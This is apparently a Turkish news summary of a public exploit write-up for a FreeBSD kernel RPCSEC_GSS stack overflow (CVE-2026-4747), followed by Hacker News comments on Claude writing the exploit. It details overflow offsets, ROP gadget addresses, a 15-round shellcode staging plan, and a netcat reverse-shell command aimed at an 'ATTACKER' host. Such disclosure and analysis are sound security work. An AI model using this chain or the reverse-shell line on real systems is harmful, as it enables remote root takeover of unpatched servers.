FreeBSD uzaktan çekirdek RCE’si (CVE-2026-4747) ile root shell elde etme
(github.com/califio)- FreeBSD’nin kgssapi.ko modülünde, RPCSEC_GSS kimlik doğrulaması işlenirken stack buffer overflow oluşuyor ve bu da uzaktan kod çalıştırmayı mümkün kılıyor
svc_rpc_gss_validate()fonksiyonu, sınır kontrolü olmadan kimlik bilgisi verisini kopyalarken dönüş adresinin üzerine yazıyor- Saldırgan, geçerli bir Kerberos bileti kullanarak NFS sunucusunun RPCSEC_GSS yolu üzerinden çekirdek ROP zinciri enjekte edebiliyor
- 15 aşamalı taşma ile çekirdeğin BSS alanına 432 bayt shellcode yazılıp çalıştırılıyor ve root yetkili bir reverse shell oluşturuluyor
- FreeBSD 13.5~15.0’un bazı sürümleri etkileniyor; yamada
oa_lengthdoğrulama mantığı ekleniyor
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS stack buffer overflow
- FreeBSD’nin kgssapi.ko modülünde, RPCSEC_GSS kimlik doğrulaması işlenirken ortaya çıkan bir stack buffer overflow açığı
svc_rpc_gss_validate()fonksiyonu, RPC başlığını 128 baytlık stack tamponunda yeniden oluştururkenoa_lengthiçin sınır kontrolü yapmadan kimlik bilgisi verisini kopyalıyor- 32 baytlık sabit başlıktan sonra kalan 96 baytı aşan kimlik bilgileri, yerel değişkenlerin, kaydedilmiş register’ların ve dönüş adresinin üzerine yazıyor
- FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) sürümleri etkileniyor
- Yamada, kopyalamadan önce
oa_lengthdeğerinin tampon boyutunu aşıp aşmadığını kontrol eden bir koşul ekleniyor
Taşmanın yapısı ve etkisi
- Fonksiyon prolog analizi,
rpchdrdizisinin[rbp-0xc0]konumunda, kopyalama başlangıç noktasının ise[rbp-0xa0]konumunda olduğunu gösteriyor - 96 bayttan sonra sırasıyla kaydedilmiş RBX, R12~R15, RBP ve dönüş adresinin üzerine yazılıyor
- Gerçek saldırıda, GSS başlığı ve 16 baytlık context handle nedeniyle dönüş adresi kimlik bilgisi gövdesinin 200. baytında yer alıyor
- Zafiyet içeren koda yalnızca NFS sunucusunun RPCSEC_GSS kimlik doğrulama yolundan erişilebiliyor
- Saldırganın geçerli bir Kerberos bileti olan bir kullanıcı olması gerekiyor ve taşma, RPCSEC_GSS kimlik doğrulamasının (DATA prosedürü) aşamasında tetikleniyor
Saldırı ortamının kurulumu
- Hedef VM: FreeBSD 14.4-RELEASE amd64, NFS sunucusu etkin,
kgssapi.koyüklü, MIT Kerberos KDC çalışıyor - Saldırgan makinesi: Linux, Python3
gssapimodülü ve MIT Kerberos istemcisi kurulu, NFS(2049/TCP) ve KDC(88/TCP) erişimi var - QEMU, VMware, VirtualBox, bhyve gibi çeşitli hypervisor ortamlarında kurulabiliyor
- Kerberos yapılandırmasında
krb5.confiçindekirdns=false,dns_canonicalize_hostname=falseayarları zorunlu - VM ile saldırgan arasında hostname (
test) ve service principal (nfs/test@TEST.LOCAL) eşleşmeli
Uzaktan çekirdek kod çalıştırma (RCE) exploit yapısı
- Saldırı, 15 turlu çok aşamalı bir taşmadan oluşuyor
- Her turda yeni bir Kerberos GSS context’i oluşturuluyor
- Aşırı boyutlu bir RPCSEC_GSS DATA paketi gönderiliyor
- Dönüş adresi bir ROP gadget ile ezilerek çekirdek belleğine veri yazılıyor veya shellcode çalıştırılıyor
kthread_exit()çağrısıyla NFS iş parçacığı normal şekilde sonlandırılıyor
- Her tur yaklaşık 200 baytlık bir ROP zinciri kullanıyor ve toplam 432 bayt shellcode 15 tur boyunca gönderiliyor
- FreeBSD, CPU başına 8 NFS iş parçacığı oluşturduğundan en az 2 CPU (16 iş parçacığı) gerekiyor
ROP zincirinin yapısı
- Başlıca ROP gadget’ları:
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — rastgele bir çekirdek bellek konumuna 8 bayt yazma
- 1. Tur:
pmap_change_prot()çağrısıyla çekirdek BSS alanı RWX yapılıyor - 2–14. Turlar:
mov [rdi], raxgadget’ı kullanılarak shellcode, BSS alanına 32’şer bayt halinde yazılıyor - 15. Tur: Son 16 bayt yazıldıktan sonra shellcode giriş noktasına atlanıyor
Shellcode’un çalışması
- Çekirdek modunda (CPL 0) çalışıyor ve root yetkili bir reverse shell süreci oluşturuyor
- NFS çekirdek iş parçacığından doğrudan
execve()çağrısı yapılamadığından iki aşamalı bir yapı kullanılıyor- Entry fonksiyonu:
kproc_create()ile yeni bir çekirdek süreci oluşturup çıkıyor - Worker fonksiyonu:
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"komutunu çalıştırıyor
- Entry fonksiyonu:
- Debug exception’ları önlemek için
DR7register’ı sıfırlanıyor P_KPROCbayrağı temizlenerekfork_exit()akışınınkthread_exit()yerineuserretyoluna gitmesi sağlanıyor- Sonuç olarak
/bin/sh, kullanıcı modunda uid 0(root) yetkileriyle çalışıyor
Başlıca sorunların çözüm süreci
- Register offset uyuşmazlığı: Gerçek RIP offset’inin 200 bayt olduğu De Bruijn deseniyle doğrulanıyor
- MIT–Heimdal GSS uyumsuzluğu: Hostname normalleştirme sorunu,
krb5.confayarlarıyla çözülüyor - Debug register kalıtımı:
DR7sıfırlanaraktrap 1exception’ı önleniyor - 400 bayt sınırı:
pop rdi + pop rax + mov [rdi], raxbirleşimiyle 8 baytlık güvenilir aktarım sağlanıyor - NFS iş parçacığı tüketimi: Her turda 1 iş parçacığı sonlanıyor → en az 2 CPU gerekiyor
Nihai exploit akışının özeti
- Saldırgan, Kerberos bileti aldıktan sonra 15 adet RPCSEC_GSS taşma paketini sırasıyla gönderiyor
-
- tur: BSS alanı RWX yapılıyor
- 2–14. turlar: 416 bayt shellcode yazılıyor
-
- tur: Son 16 bayt yazılıp shellcode çalıştırılıyor
- Shellcode,
kproc_create()ile yeni bir süreç oluşturup/bin/shçalıştırıyor - Saldırgan tarafındaki
ncoturumu üzerinden root shell elde ediliyor - Tüm süreç yaklaşık 45 saniye sürüyor ve toplam 15 RPC paketiyle tamamlanıyor
1 yorum
Hacker News görüşleri
Kilit nokta, Claude'un hataı doğrudan bulmuş olmaması, bunun yerine zaten yayımlanmış olan CVE raporunu alıp bu zafiyeti istismar eden bir program yazmış olması
Ancak bugünkü ilerleme hızına bakınca, Claude gibi modellerin yakında kernel ya da çekirdek servislerin kaynak kodunu analiz edip VM üzerinde tekrarlı deneylerle yeni CVE'leri otomatik bulduğu bir dönemin çok da uzak olmadığı görülüyor
Eskiden CVE bulmanın maliyeti çok yüksekti; bu yüzden bunu yalnızca maddi kazanç peşindeki saldırganlar deniyordu
Artık maliyet düştüğü için iyi niyetli araştırmacılar da daha kolay bulabiliyor ve istismar edilmeden önce yamalanabilecek bir ortam oluşuyor
Şimdi Claude Code gibi modeller kod tabanını analiz edip nerede ve nasıl fuzz testi yapılması gerektiğini önerebilir; crash'leri inceleyip yinelemeli olarak öğrenerek CVE bulabilir gibi görünüyor
Nicholas Carlini bunu Anthropic'te Claude kullanarak buldu ve sonuçta CVE raporu yazıldı
Bu tür otomatik fuzzing işleri için LLM'ler oldukça uygun
Claude artık uzman seviyesinde CVE buluyor
Thai Duong'un şirketi Calif, bu vakayı özetleyen bir blog yazısı yayımladı
Kullanılan prompt'lar da dahil ve bu hata da Claude tarafından Nicholas Carlini aracılığıyla bulunmuş
FreeBSD 14.x'te KASLR (kernel adres alanı rastgeleleştirmesi) ya da stack canary yoktu; bu yüzden saldırı kolaydı
FreeBSD 15.x'te bunun düzelip düzelmediğini merak ediyorum
Bu arada NetBSD'de zaten KASLR özelliği var
sysctl kern.elf64.aslr.enable: 1ile doğrulanabiliyorİlgili forum yazısına göre KASLR'ın yalnızca güvenlik hissi verdiği ve gerçek güvenlik artışının sınırlı olduğu yönünde görüşler de mevcut
Yakın zamanda yayımlanan “Black-Hat LLMs” sunumuna bakılırsa, LLM'ler zafiyet araştırması ve exploit geliştirme konusunda giderek daha yetkin hale geliyor
Sam Altman geçen yıl aralıkta Head of Preparedness işe alımı yaptıklarını belirten bir tweet paylaştığında bunun işaretleri vardı
En zor kısım zafiyeti bulmak, düzeltmek değil
Güvenlik araştırmacılarının çoğu, maddi nedenlerle zafiyetleri açıklamıyor
Bu yüzden otomatik tespitin mümkün hale gelmesi, riskli olsa da uzun vadede büyük bir kazanç olabilir
Aksi takdirde bu, açık kaynak geliştiriciler için yeni bir yük olabilir
Geçmişte Google ile FFmpeg arasındaki güvenlik yaması tartışmasında olduğu gibi
Paylaşılan prompt koleksiyonu için teşekkürler
Bu tür otomasyonlar geliştirme ekipleri açısından zaman tasarrufu olabilir, ama sıradan kullanıcılar için çok büyük bir değer taşımayabilir
Bugünlerde kernel hataları zaten elle bulunmuyor
Buna rağmen herkesin Claude'dan bahsetmesi, sonuçta Anthropic'in tanıtım etkisiyle ilgili gibi görünüyor
Artık odak noktası “Claude kod yazdı” gerçeği değil, o kodun kalitesi ve bakım yapılabilirliği olmalı
Claude'un yazdığı kodun gerçekten bakımı yapılabilir bir yapıda mı olduğu, yoksa dağınık mı olduğu merak konusu
Bu tür örnekler, ajanların özerkliğini ve gücünü gösteriyor
Aynı zamanda şirketlerin hissettiği kontrol kaygısını ve yönetişim ihtiyacını ortaya koyuyor
Tüm prompt geçmişini görebilmek ilginçti